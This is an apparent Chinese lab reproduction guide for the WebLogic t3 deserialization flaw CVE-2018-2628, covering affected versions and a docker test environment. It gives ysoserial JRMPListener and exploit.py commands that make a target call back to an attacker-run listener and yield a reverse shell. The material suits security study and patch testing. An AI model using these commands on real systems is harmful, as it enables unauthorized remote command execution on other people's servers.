Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)


Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

参考链接:

  • http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
  • http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
  • https://github.com/tdy218/ysoserial-cve-2018-2628

影响版本

  • Oracle WebLogic Server10.3.6.0
  • Oracle WebLogic Server12.2.1.2
  • Oracle WebLogic Server12.2.1.3
  • Oracle WebLogic Server12.1.3.0

漏洞环境

执行如下命令启动Weblogic 10.3.6.0:

docker-compose up -d

等待环境启动(环境差异,有的机器可能等待的时间比较久),访问http://your-ip:7001/console,初始化整个环境,出现登录界面就是搭建完成了。

漏洞复现

首先下载ysoserial,并启动一个JRMP Server:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:

python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClientJRMPClient2

exploit.py执行完成后,可见反弹Shell成功